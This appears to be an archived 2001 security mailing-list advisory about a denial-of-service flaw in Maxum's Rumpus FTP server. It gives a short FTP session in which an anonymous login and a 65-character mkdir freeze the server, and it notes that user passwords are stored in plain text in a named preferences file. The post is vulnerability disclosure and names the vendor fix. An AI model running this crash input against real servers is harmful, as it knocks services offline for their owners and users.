Rumpus FTP DoS

From: Jass Seljamaa (jassat_private)
Date: Tue May 15 2001 - 10:22:38 PDT

Next message: Franklin DeMatto: "DCForum Password File Manipukation Vulnerability (qDefense Advisory Number QDAV-5-2000-2)"

Previous message: Dan Astoorian: "Re: Solaris /usr/bin/mailx exploit (SPARC)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Maxum(maxum.com) Rumpus FTP server DoS vulnerability

Versions Affected: tested on v1.3.3, 2.0 dev 3(MacOS 8.6, 9.1), probably 
earlier, 
Not affected: v1.3.4

Description:
If you try to make a directory which name is 65 characters long, the 
Rumpus FTP service and the computer freezes. You can try to force 
Rumpus to quit, but it never worked for me(always crashed when I 
pressed the \'Force quit\' button). Also, the passwords are stored in plain 
text(in prefs folder, a file called \'Rumpus User Database\'), as in most 
macintosh programs, Maxum Support said to think about encrypting 
passwords in newer versions. 

Exploit:

ftp 192.168.0.1

user anonymous
pass anat_private

mkdir 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa

Solution:
Vendor contacted, fixed in version 1.3.4.


Jass Seljamaa,
jassat_private
05212242  


-------------------------------------------------
This mail sent through IMP: email.isp.ee

Next message: Franklin DeMatto: "DCForum Password File Manipukation Vulnerability (qDefense Advisory Number QDAV-5-2000-2)"
Previous message: Dan Astoorian: "Re: Solaris /usr/bin/mailx exploit (SPARC)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Tue May 15 2001 - 17:05:38 PDT